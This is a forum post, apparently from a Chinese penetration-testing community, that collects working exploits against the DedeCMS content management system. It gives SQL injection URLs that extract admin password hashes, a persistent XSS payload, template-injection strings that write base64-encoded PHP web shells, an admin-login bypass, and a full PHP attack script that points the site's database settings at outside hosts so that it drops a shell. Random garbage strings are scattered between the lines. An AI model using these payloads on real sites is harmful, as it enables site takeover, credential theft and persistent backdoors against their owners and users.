中国网络渗透测试联盟

标题: dedecms漏洞总结 [打印本页]

作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结
$ z7 p9 R( @1 s4 }
Dedecms 5.6 rss注入漏洞
) j4 J8 H' p% S" l
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 J% t7 h5 S# H; z, a! n) \& T6 a' I+ d5 X
. J- W* |$ M% U7 g% k# S

1 z5 x( q* ]0 p7 [' `8 J. d; ~. p+ G, D2 O. |) H; g

, n4 H/ e& L( C& B5 Z. h( e$ ^& x& \1 m) A) Y& @) a

3 F3 a% N1 P2 J: q" u9 f9 \4 ~6 _1 c$ e! \3 z' M5 W, o9 X; h
DedeCms v5.6 嵌入恶意代码执行漏洞
/ ]" ?& ]0 Q8 w. a注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}$ n. X* F4 K. A; k, l6 I
发表后查看或修改即可执行
4 l$ H) J6 r% g, Za{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
$ E- w5 p" D/ W" J生成x.php 密码xiao,直接生成一句话。4 {" t! J' Q5 i; g" p9 M
+ c3 G1 E/ c  r# _- R* p

2 [) I& k' i. m7 U) g* \& ?
: K+ `7 I( n) ]& s4 t  p1 g
5 \5 E3 U, p( F6 G) j
# B3 }  G3 L+ b- e$ t( {2 S( Y/ Z# ~8 r0 `( m# Q' z
3 @" e" D5 q+ n% C2 e  m! _0 [! o

/ m; ^3 k4 `5 W# b. e. g3 f. vDede 5.6 GBK SQL注入漏洞
8 x+ m: o8 Z3 G7 q) k" c; o" J+ p
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
' m3 g7 p# g- ^; G( `5 Q) D9 L
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe4 s' r) |# n, Y) F& e+ |
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7: G& {6 \7 k7 L9 u  X/ ]* _5 h
: k) t% s3 f# ]  s6 s; Q* ~
: @/ |/ y8 X8 G; y
. _3 W$ g# k+ ^$ M, g2 ^

: c8 e0 y: \2 x; h: F9 }
3 }. r) W& r% q" k" Q
& r  S/ V" c8 w& b/ V: R  n/ G$ G6 C
$ ]- d) ^6 o/ `4 w# Z" w- o0 J  j5 J# ^: A
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
7 J/ u5 z- ]/ f2 I
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` . o! n8 l4 D0 F. M, z; z7 ^5 ~
* C; g/ B' {6 n! O6 p# G

- Z" x+ r; [, E2 [, x2 o1 S' W9 ^0 z" \' g/ `* C: P9 v; m# p3 C# _
& n! e/ G: j8 f' b4 A/ F

$ N6 ]' S' n9 j; l  G, Q& e
$ m8 Q$ x: |# }( z0 E# p: ^DEDECMS 全版本 gotopage变量XSS漏洞
: E/ G5 r0 t" n1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 7 a& j1 r* P8 t1 t7 v. G( q3 @
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="9 {5 W* g7 I& P5 Q5 Y

% u( N% e2 o+ |+ z2 s* u6 ]6 j: L+ f* k3 F  Y3 J
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
' e" S6 q/ o5 ?$ w: ?  L
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
4 L! z6 E+ q( g1 ~
, i/ B3 ~! y7 ^. Q1 z
" y. o' V! c- H, E- Z! Nhttp://v57.demo.dedecms.com/dede/login.php6 K( ~' w. T) N

" P- M8 A9 A" r# ^$ w3 }7 |7 }
" ?1 V' m6 A4 [  scolor=Red]DeDeCMS(织梦)变量覆盖getshell1 Q4 Y+ r/ u' k
#!usr/bin/php -w% x; g4 v, F% j* u  n  l
<?php; e% ], x7 q7 F& j: i0 v  j& B
error_reporting(E_ERROR);' k, v; `' m# j3 K$ _- y
set_time_limit(0);3 y5 h0 C$ G0 O5 n; S
print_r('- R* N% y' F( u! V
DEDEcms Variable Coverage8 V+ x' \- L' c' Q5 |( B; R
Exploit Author:
www.heixiaozi.comwww.webvul.com
' U1 T! G' Q# Y! _);5 I4 X/ P1 `2 ~( [7 l  p
echo "\r\n";9 e1 k$ u; q2 D! J1 s3 g
if($argv[2]==null){
$ y5 w$ f1 h7 D% F6 Uprint_r('
" s) O6 B- H" y. t+---------------------------------------------------------------------------+
7 }. ?/ N8 x+ T% n; t$ d/ t$ AUsage: php '.$argv[0].' url aid path7 |& B/ Y4 R* @% f7 v+ F
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
4 _* g' z! c% W6 M$ XExample:
- b3 w. Y' s# Lphp '.$argv[0].'
www.site.com 1 old
# [, U" ?, c  q$ P8 R8 L2 r+---------------------------------------------------------------------------+
1 C7 I3 w6 c! y3 M& A4 ?');- n# x6 g- p; F/ p
exit;
8 v( _1 p% ^: w- a0 J9 y}
& p  g, N  d" f$ F! z3 P$url=$argv[1];5 Z" @, y" V5 F  l6 {. {$ i
$aid=$argv[2];; j' X0 z4 |- P1 n/ x. ^* b& k0 _
$path=$argv[3];+ `0 m) [7 x9 H* F; `; }
$exp=Getshell($url,$aid,$path);
& X+ a2 F, i$ tif (strpos($exp,"OK")>12){
" V! s( I2 ], Z$ t5 Y/ t9 Iecho "5 k/ a5 w4 _, Z. n+ c+ l1 r/ z  ~: c
Exploit Success \n";
  O+ y& d: W3 _if($aid==1)echo "
4 `; T7 E% j6 d- Y- T- IShell:".$url."/$path/data/cache/fuck.php\n" ;
* ?& T8 _( C, u% F7 u; B: o4 w/ f3 f3 {

& l- P' V: T3 Mif($aid==2)echo "/ R' n3 P! o$ m: N5 |8 R
Shell:".$url."/$path/fuck.php\n" ;
6 a' W, {! f9 y5 y* O
1 ?3 N9 E' \/ L& e: Y9 r& f! g! }2 Z" t. G1 Y/ g( N
if($aid==3)echo "
( c4 K9 o0 I3 [% P1 |Shell:".$url."/$path/plus/fuck.php\n";8 n! x- B, t4 b% o7 m% O

& Y1 R0 x5 x) r3 v$ }4 x7 ~; c+ {: y, \3 L. g' p: ^
}else{
" o: A* q2 z' ^# n+ L* }4 cecho "
, l: J- Y- G9 n$ E! y5 K( c7 fExploit Failed \n";* _% s- E, u: w- @2 ]' U
}" N8 Z0 t- c; a3 q+ l
function Getshell($url,$aid,$path){+ Y: T+ W" @* H
$id=$aid;; j% e- ^; H" G
$host=$url;
/ R% K# C4 K1 |5 ~: Q$port="80";
8 ^% J/ F; P2 ~, M& K6 ^$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";+ }2 w6 x5 M! U9 e
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
/ u, }1 r& _- Y- P3 e; r! t% w4 N$data .= "Host: ".$host."\r\n";8 @+ K6 T7 T5 f* _  X; j. Q* {
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 b3 Z- {4 _% ], X7 W  `$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";+ {% }. Y5 v# X; R  b, T  Q
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";# B: J7 W( L% v/ \
//$data .= "Accept-Encoding: gzip,deflate\r\n";
# A: `* E* d, I) ^0 x  r% H$ O$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
2 C' U9 N. P/ [% o$data .= "Connection: keep-alive\r\n";6 o; M! J! w; K- b# f
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";9 A+ C7 j# Z$ u" ~
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";/ N: q/ F6 M! J* Q/ L0 {, N
$data .= $content."\r\n";+ T3 o! d8 v8 X8 H. b
$ock=fsockopen($host,$port);% p# @5 ^  E7 a* C
if (!$ock) {
: i, G1 A  e( m- Oecho "" H& Z9 ~- a( z, X: q
No response from ".$host."\n";
% }! P$ I" Z0 m: e}5 ?$ u2 f3 @5 J' ]
fwrite($ock,$data);2 p2 m3 |9 _# P
while (!feof($ock)) {; m- p  e  Z9 |! O5 y5 K* g3 X
$exp=fgets($ock, 1024);7 ]& E' h: C* J; x( x2 B
return $exp;/ e( p& E9 M0 ?' g; \* w5 U
}' B/ @. G3 d0 I6 J  z8 v" u
}- t, r$ W) t# Y8 ~
! d  A4 n# @! o" `* n$ I

1 P! |7 I/ r6 R: t* O?>) u; r9 o' W: p+ L4 l; c3 _

, H5 e( \- y  R7 t' ?7 b
" i# t- ~% k: H9 Q( Z0 e( n: O- y7 I: j6 l0 c

8 B& Y& o8 \* ^8 p& s$ E6 U, p' P+ L2 X* S. t, O! F
2 l, G1 e1 V, ~& g2 _$ d& R# T" x

3 K% O& L7 c, B0 e9 M0 S
& [, E9 b4 o/ C( L. t( `) U2 I5 ?$ g% s
! w" R7 Z9 }+ I0 u
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
# y( `7 D' A) M/ e' T! P( i
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root$ p' M% x5 e& D/ T; `, u( q

8 N, D; r  O) F' @% R9 L
2 w" i- c$ d8 L8 h4 a8 {, A! o/ y把上面validate=dcug改为当前的验证码,即可直接进入网站后台
3 h0 E+ K' U5 _" l' F# G; H+ _7 K5 d5 ]" E$ y' b
2 \" h$ Y/ Z+ _7 V  B
此漏洞的前提是必须得到后台路径才能实现
# {  j6 U$ P( T4 U( d
# D2 L' D( V! Y4 X% P1 A2 w4 ]  c* |  ~" P  l6 j

$ f- @9 i1 P6 I  F' `& _7 j- C6 _; H3 m7 P' p
1 @7 P2 r- f' l+ \/ `

& k6 }: n8 k: Z4 b4 L. w
3 s  {8 z' x, K; q1 @% ~8 T- n
" [0 C3 h' t- `2 n- r/ M; B
# U; M/ r: m; a/ k0 h9 [/ a& P1 s# r/ m; D. \. }: |
Dedecms织梦 标签远程文件写入漏洞
: ?  k2 {# c) V' Q; X8 j6 \前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');3 `  @/ N9 c* R" W( G
0 _$ @. R& x/ Z0 O8 ]
' i+ h& X' o/ M
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 ' G6 p* R" c+ O$ G
<form action="" method="post" name="QuickSearch" id="QuickSearch">2 Q9 |6 ?8 x: ^
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />+ M% `! p2 x, E0 @4 q$ `
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
& ~1 y- x) e8 J0 K2 o<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />& D! N! x5 F- O$ |2 u
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /># z5 X0 A: Q+ O+ M, h8 Q% o
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
* _+ |7 T! C( H9 J: O<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
/ w% J9 U3 o, g: i! L<input type="text" value="true" name="nocache" style="width:400">2 F/ ?9 [" p5 L( R
<input type="submit" value="提交" name="QuickSearchBtn"><br />0 X( c$ v( i% I! a8 F
</form>) p; q& h$ s3 [. s& H
<script>
% C1 a5 i7 \2 I) f; w+ ]function addaction()7 E3 W. M: v$ |; n. [
{
) T1 j" n2 i# |1 `document.QuickSearch.action=document.QuickSearch.doaction.value;
1 T1 R* d( u0 k# A8 `}
* m2 {$ k& U+ n! U</script>
$ I  C3 [" |8 [; @/ O# T7 A! N
" @/ L% Z  |5 @! F
& o1 Y' ^! [) @, p( D4 I) A0 d
' G6 P8 }6 `, B4 x# b2 c4 M' w
+ l: ~; \2 q" S/ b; \3 H  a$ B
5 I8 G: r6 q+ n" R: K
  Y- X! ^( g' l/ H; ]4 Q/ b% Q) g+ q7 y& K# M" F) f

- k0 `& O4 h$ k; ~, z9 L8 Q6 C* g3 C. a+ k
) [$ q2 h* P  N% s* ?  c2 S
DedeCms v5.6 嵌入恶意代码执行漏洞
$ S  [% g2 m% [* {注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行# N& @, Z' i! b( N) }+ O
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}# w, P8 z7 w. H/ |8 y
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得' f: k9 A3 v; B7 j, @; F2 e
Dedecms <= V5.6 Final模板执行漏洞
7 `3 `& b3 C, Z) v4 ?# t注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
6 q- b; v' C0 V4 f) v( `5 u, cuploads/userup/2/12OMX04-15A.jpg: S: `$ A6 w9 q! G, u. W/ C6 H6 O

/ M  d1 O7 W8 I3 j, e; k
' O- I2 ~3 G8 p& M  k模板内容是(如果限制图片格式,加gif89a):
: ~0 _$ G+ a5 \2 S( c{dede:name runphp='yes'}7 o) }$ T$ z6 w/ G
$fp = @fopen("1.php", 'a');
* }" h* r' ^. o% G@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
; M, y" s9 Z+ r( J* z@fclose($fp);
" h% @, q$ w8 i+ H{/dede:name}  K9 Y: O) v8 R
2 修改刚刚发表的文章,查看源文件,构造一个表单:
7 Z4 j- Q7 w* `+ n4 Q<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">6 O+ Y/ n/ j- W. k
<input type="hidden" name="dopost" value="save" />) W" ~' ?# x8 ]6 i6 l
<input type="hidden" name="aid" value="2" />$ C# g7 o6 m  m9 U) m& l: H/ R) `1 v4 H3 p
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
- y" f6 P4 h7 }# F1 i' F<input type="hidden" name="channelid" value="1" />$ ?! Q3 D6 Z- H% a% o1 n0 i
<input type="hidden" name="oldlitpic" value="" />+ y. V! ?$ D" a, B+ F* Y
<input type="hidden" name="sortrank" value="1275972263" />
' z+ U4 r  @6 k% J9 L+ B3 V% u4 [" V/ i2 r! T* U+ ]4 f

! V' k, Q3 N3 i) }6 Z+ ?<div id="mainCp">; Y+ K. m' ~3 l$ p5 S) C/ u
<h3 class="meTitle"><strong>修改文章</strong></h3>1 M1 n- E5 L+ [# g9 w
/ `: ^5 s, @, l4 m7 t

$ }7 b$ |- j% \, h% D+ r* _<div class="postForm">
1 U: q5 i5 S, t7 Y$ L  |" ~2 X<label>标题:</label>
6 I) [( h/ q- P' d* a4 g<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
/ N1 Y0 Z. u- n0 ~) U) q7 m
, I. Q8 Y6 K0 t- u- Y9 o
; f) q" L1 S: M8 f* C- n<label>标签TAG:</label>
2 y- ]2 x: _, y0 M# O! r<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)5 x* p  w4 [1 R( B% Y
# N# U, m) A1 l$ E% `' g
8 d$ K6 `# `7 {# }! p
<label>作者:</label>6 W+ a+ g5 T" K; l
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
3 P4 N- p6 p3 p; w4 x  M) R% G
6 W$ S7 N# S0 f0 m3 e& j) P1 N
6 I% i4 }' z( o<label>隶属栏目:</label>
* s: B% j3 f7 r# n/ L<select name='typeid' size='1'>2 M; }& i% N# r1 ^/ Y4 @* _2 p+ H
<option value='1' class='option3' selected=''>测试栏目</option>% }% k5 W: B2 W/ V4 s! a
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)" k! z6 {/ d9 ]& G
: Q' m) U! _  |
6 ~4 @% _2 S% u# S
<label>我的分类:</label>
) s3 `9 Y9 p9 D# o9 J# ~: w' ^; P<select name='mtypesid' size='1'>
- N+ r, a- Z0 a<option value='0' selected>请选择分类...</option>' E7 h$ Y( l* R$ }, }$ V
<option value='1' class='option3' selected>hahahha</option>
( y& s/ U; U& v, M5 t1 m6 ^! p" B</select>. }' O7 ?6 V# Y4 ?" [' Y

$ p# L% l0 V! m0 b) _0 ]( n; y7 {! t
<label>信息摘要:</label>
4 X, Q# ~7 t# @- Y<textarea name="description" id="description">1111111</textarea>
+ B: y' W2 w0 q3 n; ^+ b(内容的简要说明)  I* V  ?+ y! M

& S. y) }0 {. u4 l4 [/ q2 R# O8 J+ n& X2 Z" n6 X& E
<label>缩略图:</label>
/ ~4 J; {' S) }9 {<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
9 D: Q  t4 J* Z& ^/ u+ v. `2 h5 X' ]
5 l, r  N  _: p3 Q
<input type='text' name='templet'! P$ T$ \' s0 Z5 e5 o/ S& ]
value="../ uploads/userup/2/12OMX04-15A.jpg">
0 F& m% Z8 r# F4 i+ G3 E<input type='text' name='dede_addonfields'
: S- K8 K* e( P: Q- H: @; k, f. Avalue="templet,htmltext;">(这里构造)
  @7 `* {: k( X# m</div>
3 W% [2 r( W: p) ]) _. j$ }7 L/ p' T( T5 E7 d$ k: u- i, M. `, K

* F8 m7 ^& `) ~$ ?3 _<!-- 表单操作区域 -->2 Z* y: D+ R  {( M
<h3 class="meTitle">详细内容</h3>& m* u( {& _0 v* S! ]' w
, x% F- Z3 v: G! |0 b5 J
4 `* y: }4 n5 [  y) V
<div class="contentShow postForm">
2 }) q& v- C3 K<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
' j7 z5 r, @" \" X6 j  p6 o6 F2 U8 \$ v! ^! U9 Y+ F

$ k9 f; E: C8 A1 m# j: m0 H<label>验证码:</label>- ?3 \5 c, I: ~6 r! b6 s7 E, a" S
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />7 v$ x' E# ]& [, }
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
- l; C( c$ {1 p' h) o9 I5 B7 I' ~  H. K3 H+ f

5 `7 A; p' i1 m6 }' b4 ~<button class="button2" type="submit">提交</button># ?5 X0 [. j) E& G" X4 J
<button class="button2 ml10" type="reset">重置</button>5 M  S9 P4 a9 E1 W& i
</div># w4 D. F- d1 ?4 Z- C
  T9 c  i* K7 ?6 h) q$ t; M$ Z

( `" M3 m/ O) ~4 y</div>
$ t, P! ~8 ~! e7 v8 N% s% c( d6 a% H) T& r
4 D4 E8 l% b8 B, ?
</form>
' E$ c8 _* `( h. ]' W* n$ ~2 O2 n0 x. g2 _# k/ @" p
  N+ @  V1 K1 R' N7 _+ `$ i$ o. p4 E
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:! T* Z# F* @  _( n3 U4 N
假设刚刚修改的文章的aid为2,则我们只需要访问:1 w7 s" L: v0 I) ~8 G1 x/ ^" ?
http://127.0.0.1/dede/plus/view.php?aid=2* m+ {3 v& o, v) x
即可以在plus目录下生成webshell:1.php
' N0 i+ ?) k4 I5 W5 k" Q8 Y" j
" i5 {& h* V$ O, V" \/ Q! S/ _+ g2 _; R6 v3 ?2 U9 J, p$ f; \. `  o. {  r; d
% s! i3 M& R$ h" J  Q

  y( S$ p$ ~$ Q% i  J! x2 D4 l( ^& @2 ^) N, E6 n
. M, E' u* k% p7 d. {
/ o; T0 p( H( O+ Q0 D0 B% @' D
2 @" N$ o: R6 U. ^4 J3 @, Q0 a" ~
" C! W1 O6 w. N6 t

  l0 I& U7 U3 x" h* ^
8 p0 m& H% x' L6 W. b1 k, \& o
$ h2 L! b  S0 m0 t( s# Q6 T. O" m5 Z' kDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
: |1 }$ d4 G2 W  lGif89a{dede:field name='toby57' runphp='yes'}
: j' i0 t3 p% Y4 gphpinfo();; H8 d( u3 n1 Q6 F5 d
{/dede:field}
2 i# M! t+ m7 a, B0 t3 S保存为1.gif
, Q0 t, V6 L$ ^+ T0 j3 {<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">   G1 g0 u+ G. M; b( Z, `
<input type="hidden" name="aid" value="7" />
2 F2 E3 Q, n; W9 ^0 \1 a# }<input type="hidden" name="mediatype" value="1" /> ) T- S0 i2 P, i, \% J- X* }
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
. D% ?/ k' k+ u# E* ]<input type="hidden" name="dopost" value="save" /> 7 j# c1 Y! ?1 U1 Q. A0 w
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
/ h* x) R: l3 e6 L+ R: n1 Q<input name="addonfile" type="file" id="addonfile"/>
( N  O1 q% _/ H; a9 S( x<button class="button2" type="submit" >更改</button> $ ?5 ~1 i* @" d% v" m( W% ~" t+ D' E
</form> # N3 m4 V2 D4 B+ G7 F5 P
7 |* U( e) R/ o  `% u. q4 D& A

8 v: Q2 `/ n! r$ X构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
' L/ m) F* I9 G& F. s2 E4 e' q; |9 R发表文章,然后构造修改表单如下:
: Q( C* r  s5 w- T2 ~  u& t( Z& a9 |# C3 S/ Q5 P

, b0 k3 G: d" a1 ^1 u5 N<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
! Y+ J# o# U: W! d<input type="hidden" name="dopost" value="save" /> ) S! n! ]  C4 q: x- P" X; Q9 y' b
<input type="hidden" name="aid" value="2" /> 9 c  n  k1 [9 G* m) Y
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> # S9 x2 G& J; F- U& e
<input type="hidden" name="channelid" value="1" /> & L- ~1 W  j/ t9 N
<input type="hidden" name="oldlitpic" value="" /> - D% L  H% l% h6 T. E
<input type="hidden" name="sortrank" value="1282049150" />
  m: y9 p* A. j3 h; v<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
/ p% Z. I2 I# z$ u' U" k+ {<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
( a5 J( ~3 |/ R* J8 Q5 b<select name='typeid' size='1'> 0 E6 O2 J6 t' E0 m2 Y
<option value='1' class='option3' selected=''>Test</option>
# M- d4 p0 V7 X+ u$ C<select name='mtypesid' size='1'> , ^# F/ E. d0 n
<option value='0' selected>请选择分类...</option>
; w  t, Y7 x  H  Q/ j<option value='1' class='option3' selected>aa</option></select> " z7 C; ^+ t5 T, G& Q9 B/ F0 A7 A
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> & }1 `! F: B  I- |) L6 T7 s! I0 ?
<input type='hidden' name='dede_addonfields' value="templet"> 6 E9 y" z( [# q/ b
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> 3 X6 x! y; G  Q) {
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> , [5 \3 s- {0 W
<button class="button2" type="submit">提交</button> 3 G( o- m$ @! ~$ Z% A+ }8 I
</form># \: T, P2 x2 h3 I, ]

$ r( o/ J" ^  }/ d* t' H3 z. X- O) ], h

6 N; h/ t/ \, N
6 p% r( I: P" K4 O. y* q" G) \: _* x: j3 B8 D" b( Y, [
3 I5 _- }7 S* h1 {( J) i. f, G

- [0 e) Z( s) F! V$ ?! P8 Q" x. E# F, s; D2 |0 E
+ X' x) v; h3 Q  M# o: V

9 E9 i* V' _7 \
! A& K9 T! l8 |5 {+ y6 y! f/ s, d$ ]; t2 ]* }6 F8 E- a
织梦(Dedecms)V5.6 远程文件删除漏洞
( z7 B9 I8 x1 j1 w* n5 |; r
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
! M! k1 r( u9 z8 N
* R& J6 l& D) T# U3 @0 d+ ]
- {: R- X1 D& x6 U) k2 I* l, M* \: ]
* C6 R# |% `+ }+ q  O; Y5 M- s
* c! L1 |! ?- j  G: V

4 g; j. x( Y4 j- }- Y! Z7 ~% [% S, X# z- [. h+ j
9 ^/ P9 h8 e0 h8 s) @" e- U

% x( U0 @( e! V5 F) k
1 E/ S5 H1 a: f9 r织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
4 N, |* d2 H# Y- L5 v' `3 K
http://www.test.com/plus/carbuya ... urn&code=../../
/ A1 A7 N  p' m& i) y1 S2 w/ _, \# w& I* [# z
7 N/ ]8 a6 T2 a- m5 x1 o
* D4 t3 d! X$ l/ u

* X+ X5 [# Y4 J! i3 P1 L- ?' ]! I, U0 I* i' c5 Z7 D* S( e% i5 F1 t9 i8 z
$ a2 R$ @/ N0 H& H% U
6 C4 m$ g# u0 K; _) x2 m

3 q0 C( x8 U) \/ `) q
0 S+ ]  t" M# Q5 Z8 x& j  W6 N. ]5 J
/ l" M% b4 J( O" m5 BDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 1 K. [% X# X3 Z" ?2 k% j% y0 A! ]9 p
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`1 S$ ]: |$ {3 R+ g) T9 K# P
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5$ v+ j3 |7 t( ~& z) n" \% f
0 C4 G9 Y" ~# Y% b: Y% p% x# g6 J
7 w# Z- W4 Y3 ~+ H

3 @8 p: w9 S  _, s  r- g2 m
* G. O' D5 u5 H$ Z& x* `0 L
4 _3 d. R& _9 H) a+ |/ P  H
% V* S" }9 w  k9 j/ h6 h9 f' P: [. z' \! @8 G0 ]: ~$ W
8 [# \! q+ l2 W! P

( q1 Z3 T+ H; ]8 J
9 N; I9 W0 K3 Z' T织梦(Dedecms) 5.1 feedback_js.php 注入漏洞1 m. k$ a$ p& M9 g
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
& u$ t$ {% Z% z  l' C' {1 I+ j. E! S* N

